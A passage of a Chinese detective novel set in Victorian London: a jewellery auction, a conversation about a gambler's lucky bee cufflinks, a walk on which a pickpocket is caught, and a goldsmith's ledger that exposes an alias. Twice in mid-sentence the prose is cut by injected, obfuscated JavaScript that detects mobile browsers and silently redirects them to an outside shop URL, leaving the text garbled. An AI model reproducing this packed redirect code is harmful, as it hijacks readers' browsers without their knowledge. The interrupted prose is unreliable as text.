库珀先生拍到了好几件东西,毕竟,假如这里是战场,钱包便是最有力的武器,论这个,没人比得过库珀先生。 “接下来,请让我介绍给大家一件特别的首饰。”杜克斯先生说。类似的话他说过好多回了,但从他的表情看,下面一件拍品真正是今天的压轴戏。 “尊敬的女士们和先生们,请不必在你们手上的册子里寻找了,它没有被列出来。”杜克斯先生平静地说。一时间,奥丽芙感到,包括杜克斯自己,屋子里所有的人都屏住了呼吸。 助手迈着庄重的步子走上前,杜克斯先生同样庄重地从他手里接过一只深红色盒子,打开它,取出一只手镯,举在手上。 26. 蛇形手镯 这是一只蛇形手镯,蛇身盘了两圈,蛇眼是两颗绿宝石。宝石不大,可奇怪的是,即使相隔较远,也能把它们看得一清二楚。蛇的眼睛放着幽幽的、奇异的绿光。 “请瞧这两颗绿宝石,它们来自埃及法老克利奥帕特拉七世,千真万确,这是从她的一副耳环上切割下来的。想想看吧,这双眼睛曾见过多少东西。”杜克斯先生停住,似乎是等着大家想一想。同时,所有人的眼睛与那绿莹莹的蛇眼对视。 或许只除了奥丽芙。她知道,埃及女王的杰出之处在于她的政治才能,真实历史远没有文学家口中那么浪漫。人们喜欢给历史镶点“艳情”花边做点缀,也愿意相信身边的某件物品与历史名人有关联,她可不信。 但奥丽芙承认,手镯的确有种神奇的、魅惑人的魔力。看过一眼后,她竟生出了一种想要拥有它的欲望。她急忙挪开眼睛,感到很不自在,又悄悄向旁边望去。 与她同一排,相隔几码的地方坐着Z伯爵。真奇怪,一小会儿之前,那个座位还空着,他是什么时候走过来的? Z伯爵目不转睛地盯着杜克斯手中的东西,这和他平时闲适优雅、怡然自得的模样太不像了。奥丽芙只能看见他的侧脸,但不知道为什么,她感觉是自己正被Z伯爵那双冰蓝的眼睛注视着,他的目光专注、冷酷、志在必得,其强烈程度甚至盖过了绿色的蛇眼。她打了个冷颤。 Z伯爵忽然扭过脸,直视着奥丽芙,眼睛微微眯细,目光专注、凌厉、志在必得。可是再一回神,奥丽芙只看见Z伯爵对她报以和悦的笑容,她急匆匆笑了一下,赶紧转过头,坐正身体。 杜克斯先生又开口讲话了:“你们听说过吗,克利奥帕特拉死于毒蛇,不过,不要被这个故事吓住,伟大的、集齐日月光辉的、不朽的埃及女王的美名不是一直流传至今么? “这是一只能给人带来好运的手镯。做出它以后,它的设计师获得了法兰西荣誉勋爵册封,它的上一任主人,一位极其高贵的女士,在得到它之后——啊,我不能透露那位女士的事,但若你们看到她,就会明白。 “总之,这只手镯已经等不及要把好运带到下一个主人家里,至少,我相信,它一定能够辟邪。 “女士们,先生们,看看谁会选择并获得这件世界上最美丽、最神秘、最闪耀的宝贝。起拍价:一万两千英镑。” 顿时,从坐得笔直、不动声色的人们中间,响起几道低低的吸气声。手镯是黄金打造的,整条蛇非常精致、逼真,不过,它上面只嵌着两粒绿宝石。显然,它的价值不在于宝石的大小和数量,而在于其来历。 奥丽芙坐在库珀先生后面,看不见他的表情。库珀先生微微侧头,似乎随意地对他的秘书说了句什么,秘书举了举手。 “一万四,谢谢。”杜克斯先生好像正等着这一刻,浑身放松下来,笑容可掬。 又有几只胳膊举起放下,来自各个方位,若是换个人大概都瞧不清楚,但杜克斯先生是第一流的拍卖师,他的眼珠微微一转,嘴上立即说:“两万,现在出到了两万。” 大家都向报两万的那个方向望去。原来是尊贵的埃文伯爵夫人。 她一向深居简出,据说极其富有,她今天还没有参与过竞拍,本来大家以为她不过是来瞧瞧热闹,可是,当库珀先生再次叫价后,她又一次巍颤颤举起了手。 “两万四千,我看见了,很多人喜爱这件东西,还有人吗?” “两万六千。好极了,已经突破了拍卖行最近一年的记录。当然了,这只手镯的确是无价之宝。” “两万八千。” “三万!” 杜克斯先生庄严地落下槌子,手镯被库珀先生拍中了,连奥丽芙都长长舒了一口气。 拍卖会后,库珀先生还要去别处办事,让马车先送奥丽芙回去。奥丽芙不愿添麻烦,说自己想上街转转,乘出租马车回酒店。正巧,库珀先生听见范德梅尔伯爵和坎贝尔先生说起要去某家店里看件什么东西,便请他们陪着奥丽芙。 库珀先生忘记了,小姐和先生口里的逛大街根本是两码事,硬把步调不一致的两方凑在一起,谁都不会满意的。不一会儿,范德梅尔就寻个借口开溜了,坎贝尔先生多少爱慕奥丽芙的容颜,对这个独处的机会大喜过望,对奥丽芙说:“布莱克小姐,你想去哪儿,今天下午,我完全听你调遣。” 坎贝尔先生是男爵的次子,一没有爵位,二没有很多财产供他继承,但又过惯了大手大脚的生活,因此,只能指望找到一位家境优渥的小姐做妻子。 奥丽芙心里暗暗好笑:坎贝尔向她献殷勤是献错了地方。不过她明白,坎贝尔看起来吊儿郎当,骨子里却很精明,绝不会把他自己置于尴尬的境地。因此她也无所谓,只要对方行为大体像个绅士,她就愿意和他说话。何况坎贝尔与范德梅尔交好,她正想再打听打听范德梅尔赌博败光家产的事。 “我们往考文特花园广场那边走走吧。”她说。 “太好了。” 坎贝尔同着奥丽芙,先朝河岸街方向走去。河岸街是个散步的好地方,而且走这条路线,可以避开令人不快的贫民区。 奥丽芙不由想起了上次在SevenDials的经历。眼前,衣冠楚楚的人们悠闲地消磨下午的时光,而几条街道之外,却是一个乌烟瘴气的世界,到处充斥着贫穷、暴力和罪恶。 坎贝尔向她吹嘘自己的投资。 “你是不是愿意把钱投在海外呢,布莱克小姐?” “我没有想过。” “当然,你们年轻小姐不喜欢操心这些事。”坎贝尔笑着说,“像库珀小姐,都由库珀先生为她妥善安排好了。” 奥丽芙摇了摇头:“我倒是愿意自己安排,但我没有多少钱值得操心的。” 说完,她看到坎贝尔先生脸上闪过一丝失望之色。她一点儿都不喜欢坎贝尔先生,所以,这倒是个好现象。她开始把谈话往自己想要的方向引。 “不过,有时我确实想进行一些小小的‘投资’,可是我需要有经验的人指点——”她热切地看着身边的男士,“你是不是很懂赛马,坎贝尔先生?” 对方立即滔滔不绝起来。奥丽芙耐着性子听了一会儿,又问:“范德梅尔伯爵也喜欢赌赛马?他是不是按你的意见押注,赢了不少吧?我瞧他手面挺宽。” “他对赛马没有我懂,不过……上上周那场比赛,我让他押格朗尼,他押了烟雾,烟雾确实是匹热门马,一赔二,格朗尼的赔率却是一赔八,但我知道,烟雾马上要去参加障碍赛,他们不会让它全力跑的,格朗尼稳赢。谁知最后半圈,突然飞出一只麻雀,格朗尼受了惊,烟雾赶上来了。你说,这算不算运气,布莱克小姐?那家伙的运气确实比我好。毕竟,他有一副幸运袖扣,虽然丢了一只……” “袖扣!”奥丽芙喊叫。 “对,袖扣。你肯定没听说过,范德梅尔是靠一副袖扣在赌桌上翻身的。” “具体是怎么回事,我很想听听。”奥丽芙按捺住胸腔中的砰砰乱跳,装作只是被这个故事刺激了好奇心。 “范德梅尔有一次跟我说过那件事,挺久之前了,我恐怕不太记得细节。你要是想知道,可以要他本人讲,比我更有权威。”坎贝尔谦虚地说。 “噢,你一定还记得个大概吧。我等不及了,我想现在听你讲。”奥丽芙圆睁着眼睛,扭头望着坎贝尔,“再说,范德梅尔伯爵从不在女士面前说这些事,当然,他有他的道理。但他不知道,有些女士很愿意听,而且,嘴巴很严。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17064457|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “那我就说了。”坎贝尔无法拒绝这样一双闪亮眼睛的鼓励。 “范德梅尔告诉我,曾经有一段时期——我记不得年月,约摸是一两年前吧——他在赌场运气不好。一次,他把身上所有的钱都输掉了,但他依然觉得,只要再押一把,就能翻回本。这个时候,他的怀表已经被押了出去,他将身上的衣服抖了几遍,一个子儿都抖不出来。 “他没法指望从别人手里借几个钱:赢家不愿借钱给人,这是影响运气的事。他那身衣服倒能值不少,可赌桌上只认金银;衣服抵押给其他赌客吧,别人与他身材不同,要来何用?总之,他坚信自己马上就会转运,可是没有赌资,只好一筹莫展,正急得团团转时,他忽然摸到手腕上的袖扣。 “他想起袖扣是他的父亲留给他的,或许是祖父,反正是个纪念品,但当时顾不得那么多了,他拔下金袖扣,扔到桌上,庄家便让他抽了一张牌。 “没想到,牌翻开,转瞬间他就赢了。他用赢来的钱接着下注,居然果真如他所料,一局接一局,越赢越多。最后,不但赢回了所有本钱,还额外大大赢了一笔。从此后,范德梅尔就把那副袖扣称作他的幸运袖扣,只要身上戴着它们,他押注总能押对。——当然,他早就不上赌桌了,现在,他只是偶尔陪朋友玩玩。” “他现在不赌了?既然有幸运袖扣,他为何不拿它们多赢些钱?” “幸运只是个相对的说法,那些输光了整个家产的人,曾经都认为自己幸运无比。”坎贝尔富于理智地说,“范德梅尔那家伙精着呢,不会蹈别人的覆辙。” 范德梅尔正是因赌博败掉了整份家产,不过,这是件非常非常不光彩的事,他肯定不好意思拿出来示人。奥丽芙不追问这个了,她抛出最关键的问题:“你刚才说,袖扣丢了一只?他怎么会把这么重要的东西弄丢,什么时候丢的,丢在哪儿了?” “这我可说不清楚。总之确实丢了一个,剩下一只没法戴,所以他把金子熔了,打成了一块像硬币的东西——幸运袖扣变成了幸运币。我跟他开玩笑,说他的运气可能丢了一半,熔化金子时,还要被人家克扣几分,现在连一半都不到。他说那家金铺的老板和他认识,不会克扣他。他竟相信一个爱尔兰人,还是个在SevenDials开铺子的爱尔兰人。” 坎贝尔掉转脑袋,厌憎地朝贫民区方向点了点下巴,但当他重新转向奥丽芙时,脸上的表情马上变得既柔和又充满男子气。他安抚地说:“别害怕,我们离那儿还远着。可千万别靠近那种地方,当然,你们小姐是绝对不会的。” 奥丽芙的目光充分回报了他的关心。她真不知该怎么感谢坎贝尔先生才好,他竟然主动说出了这么多东西! 不过,她还有最后一个问题需要确认。 她说:“有点太可惜了,我认为范德梅尔伯爵应该保留袖扣。想想吧,当时他身上一个铜板都没了,只有一副金袖扣。袖扣给这个故事增加了传奇色彩,不是吗?我真想看看那副袖扣是什么样子。——你见过没有,先生?” “你问对人了,布莱克小姐,我还真见过。这件事,范德梅尔伯爵可没告诉过别人,你问他本人,他不一定会告诉你,但他和我无话不谈。他讲给我听时,确实还拿袖扣让我看了一眼。不过,恐怕不是你想的那样——”坎贝尔先生自得地卖着关子,瞅了奥丽芙一眼。 “袖扣看起来实在平平无奇,真没什么好形容的,上面好像就刻着个什么昆虫图案。” “昆虫?真有趣。是甲虫,蚂蚱,还是蜜蜂?” “蜜蜂!对,蜜蜂,我想起来了,是蜜蜂。” 坎贝尔先生满心得意,他从来没想到自己讲故事的本领这么强,竟然使得一位小姐美丽的眼睛里放出了那样激动的光彩! 27. 街头扒手 坎贝尔先生所说的情况和之前赫伯特太太的话对上了。 范德梅尔赌博输光了家业,又欠了债,不得已离开家乡,可是他还继续赌博,直至身无分文,只剩一副袖扣时,他突然转了运,接连不断地赢钱,又成了一个富人。但他没有回家,而是继续在外过着花天酒地的生活。在此期间,他与库珀父女结识。范德梅尔被伊迪丝的容貌、更被她的财产打动,大胆展开追求。 这时,他更不愿回家,既不想离开伊迪丝,也不愿接受母亲、妹妹的规劝。光这样就算了,可他明明有能力使母亲和妹妹过上好一点的生活,却对她们不闻不问,任由她们在家受穷、伤心。他还假惺惺对伊迪丝谈起妹妹,假装妹妹过着优裕的、阔小姐的生活。这个人坏透了! 父亲与范德梅尔见面后,肯定问了他几句。范德梅尔怕父亲给他家人写信,也怕库珀先生得知实情,不会将伊迪丝嫁给他,遂起了杀心…… 奥丽芙脑子里思索着,简直没法敷衍坎贝尔先生。她想一个人静静,可是坎贝尔极其热情,还想请她去路边一家餐厅里喝茶。 将来,恐怕需要坎贝尔先生在警察前作证,可不能一下得罪了他。奥丽芙正要想几句客气话与他作别,这时,一辆轻便马车从旁经过,车上的人瞧了他们一眼,立即叫车停住,原来是Z伯爵。 他跳下车,招呼二人,高兴地对坎贝尔先生说:“这么巧,我正想着不知在哪儿能找到你呢。刚才碰到迪克逊先生,他好像有关于明天一匹马的消息,急着要告诉你。是个绝密消息,他不肯对我说,不然这会儿你就知道了。他说在赛马俱乐部等你到五点。” 坎贝尔先生的心在赛马内幕和漂亮小姐之间斗争了一会儿,有点向赛马倾斜了。可是,想起自己的承诺,他显出犹豫的神情:“我答应库珀先生送布莱克小姐回去。” “回绿窗酒店?正好我过会儿也去那边。”Z伯爵说,“现下我想散散步,布莱克小姐肯不肯赏光陪我一段?” 奥丽芙点头答应。“别耽误了你的事,坎贝尔先生。” “你用我叫的车吧。”Z伯爵热情地提议,“等会儿我们另找一辆。” 坎贝尔先生感谢不绝,兴高采烈地乘车离开了。Z伯爵陪在奥丽芙身边,两人拐上了河岸街,继续朝前走去。 沉默地走了几步,Z伯爵问:“我希望,我不是把你从一个讨人喜欢的同伴身边叫走吧?” 奥丽芙心不在焉地摇摇头。 隔了一两分钟,Z伯爵又问:“我听说,你会参加后天的化装舞会?” 奥丽芙差点把这事给忘了。 伦敦上流社会的一个大圈子中,又分了若干个虽有交集、但总体来说相对独立的小社交圈。其中最顶尖的要数韦克林公爵夫人的圈子,其地位差不多仅在王室的社交圈之下。韦克林公爵夫人自己牢牢把着这个社交圈的王座,周围环绕的不是公爵夫人,就是伯爵夫人,譬如,斯塔福德侯爵夫人之流,便是其中坚力量。 韦克林公爵夫人的交际圈从来没有接纳过伊迪丝,伊迪丝也并不遗憾:与那些贵夫人交往,会是个沉闷无比的苦差事。 不过,贵夫人们自己可能也感到沉闷了。不知道是谁说,交际圈需要新鲜血液。韦克林公爵夫人或许表面上不以为然,心里却有点松动。她打算办一场化装舞会,还要把它办成本社交季最辉煌、最令人难忘的舞会,为此,她借了绿窗酒店的大跳舞厅,并顺理成章地请伊迪丝和奥丽芙参加。 奥丽芙觉得化装舞会挺好玩,当时欣然接受了邀请。可现在…… 后天,凶手应该已经被关入监牢,等待审判了! 关键是明天。奥丽芙一边想着下一步该如何行动,一边想,回去后,可以给公爵夫人写封信道歉,反正,公爵夫人真正想邀请的是伊迪丝,自己只是被“捎带”上,公爵夫人不会计较一个无关紧要的小客人先答应,后又临时更改主意。 对Z伯爵的问话,奥丽芙模棱两可回应了一句。 Z伯爵又说:“让我猜猜,你是不是要装扮成海岛上的公主?” 当然不是。假如还去参加的话,可以扮成哈姆雷特。可惜莎士比亚只创作了忧郁的复仇王子,却没有一位果敢的复仇公主。奥丽芙想。 她又含含糊糊摇了摇头。 Z伯爵认真向她脸上瞧瞧,关切地说:“你一定有点累了吧?你的脸色看上去是累了,要不要休息一会儿。” “不,不太累,我很愿意再走一走。” Z伯爵轻轻抬抬胳膊,意思是要奥丽芙挽着,绅士们总是如此表示对女士的爱护,奥丽芙犹豫了一下,上去挽住了。 她命令自己先不去想抓住真凶的事。她记得以前绞尽脑汁要想出一个问题时,父亲总是说:“先放一放,干点别的,说不定答案会自然而然冒出来,因为你的潜意识还会对它做出思考和加工。” 眼下,答案差不多已经有了,只剩下一个证据问题。奥丽芙期待自己的潜意识会告诉她一个获取证据的好办法。现在,她允许自己先想想别的。 她感到,走在Z伯爵身边,挽着他的臂膀,令她十分愉快。这并非因为她走累了或者需要保护,而是…… 怎么说呢,本来,在她心中,范德梅尔和Z伯爵是最可疑的两个人,可就在刚才,证实了范德梅尔是恶魔,于是,Z伯爵一跃变成了——几乎变成了——天底下最可爱的青年。 奥丽芙悄悄向他瞥一眼,Z伯爵察觉了,扭头对她一笑。在拍卖会上,他就是这么笑的。那个冰冷的目光一定是错觉,这双蓝眼睛多么清澈、坦率。 奥丽芙记起前两天读到一篇无聊文章,某个学者通过某种毫不可信的研究,得到一个结论:北方民族,斯堪的纳维亚人中间,常常会出现过人的美貌。 当然,就眼睛所见来说,这个结论并非全无道理。当时奥丽芙想到的是南森女伯爵,但这时她想,Z伯爵其实也可以算作斯堪的纳维亚人,虽然他的气质并不冰冷,他身上带点南方男人那种活泼劲儿。 这会儿,奥丽芙甚至想不通自己以前为什么会将Z伯爵和范德梅尔作比。就算范德梅尔不是杀父凶手,就算他没有做出那些丑陋的恶行,和Z伯爵比起来,他的“英俊”似乎也显得廉价、粗俗。 那么,向库珀先生最终“交差”时,又该怎么说呢?奥丽芙蓦地想到这件事,微微一惊。 她在酒店捡到过一本客人丢下的小说,随便翻了翻。小说女主人公有点像伊迪丝,是个喜欢刺激感的女孩,因而一开始受到一个“坏”男人吸引,但在经过种种不顺心之后,她最终得到了一个既可以信任、又出乎她意料的丈夫,达到了“安全感和刺激感之间的一个微妙平衡”。现实中,哪个人可以让伊迪丝感到这种平衡? 奥丽芙面颊发烫。天哪,她读了太多乱七八糟的东西了。 “你喜欢拍卖会上哪件珠宝?”Z伯爵忽然问。 “都喜欢,都买不起。”奥丽芙回答。 说到这儿,Z伯爵去了拍卖会,却没拍下一件东西。肯定不是因为缺钱——假如他已经和伊迪丝订了婚,就可以当众拍得一件高价珠宝,作为生日礼物送给她,表达情意;而少了未婚夫这个身份,送昂贵礼物便不合适了。 不过,他关注拍卖,说不定暗中已有所准备——很多买家不愿公开身份,会请人替他出价。照这样看,Z伯爵真的打算…… 奥丽芙发现自己又在乱猜,赶忙问:“你一件都不喜欢?怎么没有拍?” “有喜欢的,但我用不着。”Z伯爵笑眯眯说,可他的眼睛变得幽深了。 走了一小段,Z伯爵带奥丽芙拐到另一条街:“来吧,我带你去看看好玩的地方。” 奥丽芙不由再次感慨,伦敦真是一个古老又新潮的繁华大都市。 她去过欧洲的一些小国,它们像蛋糕上的一粒粒樱桃,彼此挨着,这一个和那一个仿佛毫无二致。而在伦敦,有时仅仅是转过一条街,就好像突然到了一个陌生、遥远的地方。 这时,他们不知怎的走进了一条僻静的小巷子,从外观看,这一带的房屋低矮狭小,但住户似乎都是整洁体面的人家——门外没有汪着脏水和垃圾,有几家窗下吊的板条花箱中栽着漂亮的花。亦有几扇窗户半开,奥丽芙留意到,窗内没有主妇忙碌的身影,没有炖肉的味道飘出来,也没有人站在窗边向外张望。 “这是哪儿?”她好奇地问。 回答很简单:“一条巷子。” “是什么人住在这儿?” “等会儿你就知道了。”Z伯爵掏出怀表看了看,好像只要等到某个特殊时刻,这里的住户会突然一齐冒出来。 约莫十分钟后,穿出这条歪扭的巷子,奥丽芙惊觉自己竟来到了剧院区。她向左右一望,他们正站在尼西剧院和大歌剧院之间。 “现在你知道了吧,巷子里住的大多是在剧院做事的人,也有一些还没成名的单身演员。”Z伯爵再次掏出怀表瞧了瞧,“我要说一句,在女士当中,你走路的确是非常快的,布莱克小姐。日戏马上开演了,想不想看一场?” 他指着尼西剧院:“你不是喜欢莎士比亚吗,正好,这里天天都是他的戏。” 奥丽芙仔细观赏“今日上演”一栏的海报:上面画着一位手捧诗笺、苦苦哀求的男子和一个背过身去、姿势高傲的女子——“爱的徒劳”。 剧院廊柱下正站着三四位卖花姑娘,看见二人,她们围上来,纷纷喊着:“买束花吧。”其中一个最大胆的说:“先生,我的花会使这位小姐美翻了。” “你说得很对。”Z伯爵笑着掏出钱,“拿好,不必找了。”他付了一个银币,却只挑了最小的一束花,在众人注目下捧到奥丽芙面前,“送给美翻了的小姐。” 奥丽芙脸红了,只得接过来。 等到姑娘们离开,她严肃地问:“这又是什么意思?” “要是不买,她们会缠住不放的。再说,就这么一小把,你拿着也不累。”他用这种最不可能激起人虚荣心的话语作答,倒使奥丽芙有点好笑。她低头看,黄色、蓝色的小野花相间扎在一起,星星闪闪的,挺漂亮。 “进去吧?我去买票。”Z伯爵又问她。 “我不想看戏。”奥丽芙回答。 Z伯爵用受伤的语调说:“的确,爱的徒劳,这个名字就不好。” “我什么戏都不想看,我该回去了。” “再往那边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068256|192595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走走吧,等会儿大家都进去了,正好我们找辆空出的马车。” 奥丽芙通常是看夜戏,总是乘车直到剧院门口,白天确实很少过来这儿走动。此时正是日戏快要开场的时刻,马路上相当热闹。神气活现的马车夫驾着栗色马拉的车子,车夫的背心、车身的银徽章、马蹄上的白毛全都闪着亮光;身着礼服、头戴礼帽、握着手杖的先生迈着悠闲自得的步子在人行道上行走;装扮华丽、仪态万千的仕女们脸上挂着庄重、似有若无的微笑。 这里头不知有什么让奥丽芙动了心,于是,她又挽上Z伯爵的胳膊,饶有兴致地向街道两面瞅着。到处都是卖饮料、卖雪茄的小贩,也有门脸光鲜的小铺子见缝插针挤在剧场大楼间,不过最吸引人的还数剧院外墙上张贴出的一幅幅色彩鲜明的海报。 正当奥丽芙欣赏海报时,一个矮瘦的男孩飞快从她身边跑过。 好像有一根弹簧牵住男孩,他又弹了回来。原来是Z伯爵揪住了他的胳膊。 “还回来。”Z伯爵厉声地说。 那是一个戴着顶报童小帽,衣衫褴褛的男孩,至多不过十一二岁。“干什么,先生?”他一边用力挣扎,一边用野狼一样凶狠的眼睛瞪着Z伯爵。 “你拿了这位小姐的钱包。” 奥丽芙忙向小手提包里一摸,果然,她那只弹簧纽的绿色钱包不见了,她竟一点儿都没察觉。 那男孩见自己挣不脱,脸上露出惊恐的神情。尤其是,他看见有个沿街巡逻的制服警察朝这边走来,吓得直抖。他从裤袋掏出奥丽芙的钱包,交到Z伯爵手中。“先生,求你……” Z伯爵把钱包递给奥丽芙,还是牢牢抓住那个男孩。奥丽芙看见男孩的手腕十分纤弱。她对自己的毫无防范有点羞愧,对这个皮包骨的小偷又厌恶又怜悯。 她打开钱包,可是Z伯爵已经从身上摸出几枚金币塞入那只黑乎乎的手中。“卖点小玩意,表演杂耍,哪怕乞讨——别干这个了,你不适合。”他这才松开手。 男孩一溜烟地不见了。 Z伯爵转头对奥丽芙说:“在这个地方走路,得当心些。” 警察跑到他们跟前:“小姐,先生,刚才那个……”他向男孩溜走的地方张望。 Z伯爵傲慢地回答:“我让他帮个小忙。你太容易大惊小怪了,警官。”他扶了扶帽沿。 两人继续向前走了一阵,谁也没开口。奥丽芙老是想着那个偷钱包的男孩,那只从某个肮脏的洞里飞出来的瘦弱的蝙蝠——讨人厌,可若细想,它绝非最龌龊恶心的生灵。 他那双又凶又可怜的眼睛深深印在奥丽芙脑中。过了一会儿,她问:“你也不愿警察抓到那孩子?” “他们不会抓。这帮孩子,连警察也不想收留他,不过是打几棍子。——就算在监狱关上两天三夜,根本无济于事,等放他出来他还会去偷。”Z伯爵愤愤地说,不知是对警察还是对那小贼气恼。 “可怜的孩子。”奥丽芙叹了口气。 Z伯爵锐利地看了她一眼:“他偷你的东西,你不怪他?” “他还那么小。” “还这么小就已经做贼了。” “可能是因为他没偷成,我没法怪他。”奥丽芙想着那条又黑又瘦的胳膊,他肯定好久没吃上一顿饱饭了。 “正是如此!”Z伯爵生气地喊叫,“人们总以为偷东西很容易,对大多数人来说,走这条路得不偿失!” 奥丽芙惊讶地看着他,不晓得他哪来这么大的火气。 “或许他们不愿偷,但有人教唆——比如,一个酒鬼父亲——要是拿不回钱,就要挨打。这么小的孩子,还能从哪儿弄钱呢。”奥丽芙说。 “是有这种情况,但也有些孩子,无父无母……” “如果是这样,他可以去教堂,那儿每天都有人分发食物,也会收留无家可归的孩子。”奥丽芙想起“美丽世界妇女联盟”经常为教会收容的孩子捐赠食品和衣物。 “去教堂?”Z伯爵厌恶地喊叫一声,“还不如偷东西呢。要我说,做小偷的,比牧师差不到哪里去。” “是吗?你认识的牧师全都不如小偷?”奥丽芙也生气了,感到受了伤害,因为她自己的舅舅就是位牧师。其实她只在母亲过世那年见过舅舅,而且不很喜欢,等她长大后,隐约明白,舅舅不赞成母亲嫁给父亲。不过,她相信,舅舅是位正派、受人尊敬的牧师。 Z伯爵立马道歉:“对不起,小姐,我真心真意认为,大部分牧师都非常可敬,刚才,我只是想到了极个别的几位。”他的目光又冷了起来。 停了一会儿,他用轻松的口吻说:“我想,那些偷东西的孩子大概会对教堂敬而远之,这是因为,小姐,饭没有白吃的,为了吃一口饭,便得听他们教训,都是些忏悔罪孽的陈词滥调,里头全无半点乐趣。” “照你说,人生在世,首要之事是找乐子?”奥丽芙轻蔑道。 “这个第二重要。首要的,是做些有益的事,能令世界变得更好、更有趣的事。”Z伯爵说。 他的语气没变,让人无法猜出他是认真的还是开开玩笑,奥丽芙扭头望向他,但一辆出租马车正好驶过,Z伯爵转过头,招呼车子停下。 28. 发现真相 奥丽芙打算再次走访爱尔兰人奥康纳①的金铺。她本想让布朗先生陪她,但布朗先生不知做什么去了,一上午都没得着他的回信。到下午,奥丽芙等不及了,她心里一点儿都不怕,不管是凶狠的店员,还是街上的无赖,她相信自己都能对付。她不愿再要别人知晓,怕他们过于热心,好心帮了倒忙,因此,在房间留了张字条说明去向后,她便一个人悄悄前去。 她换了一套雅致而朴素的裙子,给人一种家庭教师,或者高级店员的印象,又来到了SevenDials。 奥康纳的金铺开着,远处有几个鬼鬼祟祟的家伙,但店铺门口很安静,奥丽芙迈着自信的步子径自走进店中。 她多少有点担心上次那两个伙计还记得她,但店堂里只坐着一位四十出头、绅士模样的人,看他的派头和一副典型爱尔兰人的长相,大概正是店主奥康纳先生。他飞快地打量了一下奥丽芙,问:“有何贵干,小姐?” 奥丽芙不慌不忙向店里看了一圈:“我带来几件小东西,想卖给你们。” “请问你是……”对方皱着眉,继续打量奥丽芙。 没得到回答,他的语调有点不客气了:“我们只接老主顾。” 奥丽芙这才转过脸,向他莞尔一笑:“我是受范德梅尔伯爵委托。” 对方愣了片刻,随即满脸浮出笑容:“请里面坐。”他一面打开柜台后面一扇门往里让奥丽芙,一面还偷偷打量她。 奥丽芙跟他进到一间兼做穿堂的屋子,里面有一张大桌,上头乱七八糟摆着一堆玻璃和陶制的器皿,一个小伙计正在加热坩埚。屋内光线暗淡,奥康纳又点亮一盏灯。 奥丽芙说:“我父亲在范德梅尔府上管事,最近,我父亲打算锻炼锻炼我。伯爵走不开,请我代他处理几样东西。他说这里可靠,奥康纳先生。” “我们会一如既往为伯爵效劳。”奥康纳客客气气问,“这次是什么?” 奥丽芙不忙把“东西”拿出来,严肃地看着店主,用一副很了解店内黑幕的自负口吻说:“我知道你们这种生意,没有不做手脚的。” 说到这儿,她轻蔑地看一眼全神贯注盯着坩埚中金色液体的伙计,仿佛他正在偷金子。“伯爵对每一件交易都记得很清楚。我想看看你们先前怎么为伯爵办事,我也要一样办。别到了我这儿,偏就出了错。我不想连这么一件简单的事都做不好,惹伯爵不高兴。” 她觉察出奥康纳先生正暗暗藏起好笑且轻视的表情。 不过,奥康纳表面上仍是恭恭敬敬的样子,“当然,当然。请尽管放心。请坐,稍等。”他拉一把椅子放在桌前稍空的位置,让奥丽芙坐下,从另一扇门走入里屋,少时,拿出一本黑皮册子,翻开一页,送到奥丽芙面前,“这是最近的。” 纸上打着细格,一条记录占一行,记得很密。前面的内容奥丽芙没看,直接把目光对准最后的顾客姓名一栏。 沿着最后这列,奥丽芙将视线从上到下快速拉了一遍。没有范德梅尔的名字。 她险些不自禁地另翻一页,但忍住了。奥康纳边看内容边翻出这页,肯定没错。 奥丽芙又将姓名栏看了一遍。姓名并非顾客本人签的:这里最多只出现了两种不同的字体,其中之一大概属于店主奥康纳,而当他不在店里时,某个高级店员帮他记录。因此,想从字迹分辨毫无可能。 她想:若这是家黑店,私下里也做些违法生意,范德梅尔过来,要求店主记录的,肯定不是自己的真实姓名——万一某日警方查封这家店,范德梅尔伯爵的大名出现在交易顾客中,就有点难堪了。 奥丽芙把姓名栏又看了第三遍。还不行的话,她只好伪装成有阅读障碍,读得很费劲,需要多一些时间,然后,根据交易日期及交易内容慢慢猜测哪个是范德梅尔。 即便有时间给她猜,估计也会非常困难。而且,她不安地感觉到,奥康纳先生似乎已经在用怀疑的目光打量她了。 一个词猛然抓住了她的视线。 Imker。首先,这是一个荷兰姓氏,因姆克;其次,这个词不做姓氏用时,在德语、荷兰语中意思是“养蜂人”。 这页中间偏下的一行,有一条记录,顾客姓名填的正是因姆克。奥丽芙飞快往前面看去。 6月20日,金手链一对,9开,总重29dwt。 没错了,就是这个。因姆克,养蜂人,范德梅尔用了一个与蜜蜂有关的姓氏! “六月二十日,金手链一对,九开,总重二十九本尼威特。”奥丽芙念出声来,假装早已看到了记录,正在和自己记忆中的情况进行详细对比。 这应该是他参加安斯蒂子爵小女儿婚礼送的礼物。 奥丽芙抬头询问:“我还能看看早一些时候的吗,先生?” “都在上面,请看吧。”奥康纳似乎不大耐烦了,招呼伙计说,“若这位小姐有需要,喊我。”说着他进了里屋。 奥康纳走后,那个小伙计开始盯着奥丽芙看。奥丽芙顾不上理会他,也顾不上理会脑子里若隐若现的某种怪异的感觉,只管在册子上翻找二月份的记录。 翻到了。她从二月二十四日,也就是父亲被害那天向后,一条一条记录挨着看。 三月七日,“因姆克”与金铺有一笔交易:“收袖扣一只,18开,重8dwt。制等重金币一枚。” 是这次。凶手杀死父亲,丢下袖扣,后发现袖扣被她拿去,害怕露陷,赶忙将剩下的一枚熔成金币。 